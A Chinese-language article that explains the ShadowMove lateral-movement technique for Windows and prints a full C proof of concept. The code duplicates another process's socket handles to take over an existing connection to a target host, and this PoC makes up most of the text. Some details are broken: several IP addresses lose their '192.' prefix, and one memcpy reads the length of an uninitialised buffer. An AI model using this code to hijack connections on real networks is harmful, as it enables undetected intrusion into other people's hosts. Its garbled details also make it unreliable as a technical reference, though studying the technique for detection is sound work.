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如何理解ShadowMove横向渗透新手段:通过复制现有Socket实现横向渗透

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技术概览

下图显示的是这项技术工作机制的简单流程图,以及我们如何在自己的实验环境中进行测试。在下图中,我们使用了ShadowMove技术在源主机和目标主机之间进行通信:

如何理解ShadowMove横向渗透新手段:通过复制现有Socket实现横向渗透

我跟大家解释一下上面这张图的具体情况:

在上图的左边部分,我们有一台被入侵的主机(比如说,我们通过钓鱼攻击入侵了这台主机),IP地址为168.1.117。这台主机就是我们需要开始横向渗透的源主机,我们需要利用它来攻击IP地址为192.168.56.102的主机。

在右边部分,是我们的目标主机,IP地址为168.56.102,这台主机在TCP端口80有一个正在监听的Socket,运行命令为“nc -lvp 80”。

源主机168.1.117已经与我们的目标主机192.168.56.102:80通过nc.exe建立了连接。

在源主机上,有一个名为exe的正在运行的进程。这个进程将负责执行ShadowMove横向渗透操作。需要注意的是,它在整个生命周期中并不会跟远程主机建立任何连接,这也是这项技术的独特魅力所在。

在源主机上,exe会枚举所有跟nc.exe和\Device\Afd相关的处理程序,并用于网络Socket通信。找到之后,该进程将使用这些处理程序并调用WSADuplicateSocketW和WSASocket这两个API来复制Socket。创建好共享Socket之后,进程将会使用getpeername来判断Socket的目标地址是否为目标主机的IP地址,即192.168.56.102。

当基于\Device\Afd的指向目标主机的共享Socket创建之后,exe将能够使用send API向Socket中写入数据,或使用recv API来从中读取数据。

再次强调一点,ShadowMove.exe并不会创建任何指向目标主机的TCP链接。相反,它会直接复用源主机和目标主机之间(192.168.56.102:80)的现有的Socket,这也是该横向渗透技术的关键之处。

PoC代码

下面给出的是由安全专家Juan Manuel Fernández提供的PoC代码,为了在Visual Studio 2019的开发环境中完成代码编译,本人对其进行了部分修改:

// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL)

 

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include 

#include 

#include 

 

#pragma comment(lib,"WS2_32")

 

// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp

#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16

#define ObjectNameInformation 1

 

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(

ULONG SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

typedef NTSTATUS(NTAPI* _NtDuplicateObject)(

HANDLE SourceProcessHandle,

HANDLE SourceHandle,

HANDLE TargetProcessHandle,

PHANDLE TargetHandle,

ACCESS_MASK DesiredAccess,

ULONG Attributes,

ULONG Options

);

typedef NTSTATUS(NTAPI* _NtQueryObject)(

HANDLE ObjectHandle,

ULONG ObjectInformationClass,

PVOID ObjectInformation,

ULONG ObjectInformationLength,

PULONG ReturnLength

);

 

typedef struct _SYSTEM_HANDLE

{

ULONG ProcessId;

BYTE ObjectTypeNumber;

BYTE Flags;

USHORT Handle;

PVOID Object;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

 

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG HandleCount;

SYSTEM_HANDLE Handles[1];

} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

 

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

 

 

typedef enum _POOL_TYPE

{

NonPagedPool,

PagedPool,

NonPagedPoolMustSucceed,

DontUseThisType,

NonPagedPoolCacheAligned,

PagedPoolCacheAligned,

NonPagedPoolCacheAlignedMustS

} POOL_TYPE, * PPOOL_TYPE;

 

typedef struct _OBJECT_NAME_INFORMATION

{

UNICODE_STRING Name;

} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

 

PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName)

{

return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);

}

 

SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {

HANDLE hProc;

PSYSTEM_HANDLE_INFORMATION handleInfo;

DWORD handleInfoSize = 0x10000;

NTSTATUS status;

DWORD returnLength;

WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };

SOCKET targetSocket;

 

// Open target process with PROCESS_DUP_HANDLE rights

hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);

if (!hProc) {

printf("[!] Error: could not open the process!\n");

exit(-1);

}

printf("[+] Handle to process obtained!\n");

 

// Find the functions

_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");

_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");

_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");

 

// Retrieve handles from the target process

handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)

handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

 

printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);

 

// Iterate

for (DWORD i = 0; i < handleInfo->HandleCount; i++) {

 

// Check if it is the desired type of handle

if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {

 

SYSTEM_HANDLE handle = handleInfo->Handles[i];

HANDLE dupHandle = NULL;

POBJECT_NAME_INFORMATION objectNameInfo;

 

// Duplicate handle

NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);

objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);

 

// Get handle info

NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);

 

// Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)

if (objectNameInfo->Name.Length == 22) {

printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);

 

// Check if it ends in "Afd"

LPWSTR needle = (LPWSTR)malloc(8);

memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);

if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {

 

// We got a candidate

printf("\t[*] \\Device\\Afd found at %d!\n", i);

 

// Try to duplicate the socket

status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);

if (status != 0) {

printf("\t\t[X] Error duplicating socket!\n");

free(needle);

free(objectNameInfo);

CloseHandle(dupHandle);

continue;

}

 

// We got it?

targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);

if (targetSocket != INVALID_SOCKET) {

struct sockaddr_in sockaddr;

DWORD len;

len = sizeof(SOCKADDR_IN);

 

// It this the socket?

if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) {

if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {

printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));

free(needle);

free(objectNameInfo);

return targetSocket;

}

}

 

}

 

free(needle);

}

 

}

free(objectNameInfo);

 

}

}

 

return 0;

}

 

 

int main(int argc, char** argv) {

WORD wVersionRequested;

WSADATA wsaData;

DWORD dwProcessId;

LPSTR dstIP = NULL;

SOCKET targetSocket;

char buff[255] = { 0 };

 

printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n");

 

// smgateway.exe [PID] [IP dst]

/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */

if (argc != 3) {

printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]);

exit(-1);

}

dwProcessId = strtoul(argv[1], NULL, 10);

dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1);

memcpy(dstIP, argv[2], strlen(dstIP));

 

 

// Classic

wVersionRequested = MAKEWORD(2, 2);

WSAStartup(wVersionRequested, &wsaData);

 

targetSocket = findTargetSocket(dwProcessId, dstIP);

send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0);

recv(targetSocket, buff, 255, 0);

printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff);

return 0;

}

演示样例

编译好上述代码之后,我们就可以进行测试了。在下面的演示样例中,我们演示了ShadowMove横向渗透技术的实践场景:

如何理解ShadowMove横向渗透新手段:通过复制现有Socket实现横向渗透

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网页标题:如何理解ShadowMove横向渗透新手段:通过复制现有Socket实现横向渗透
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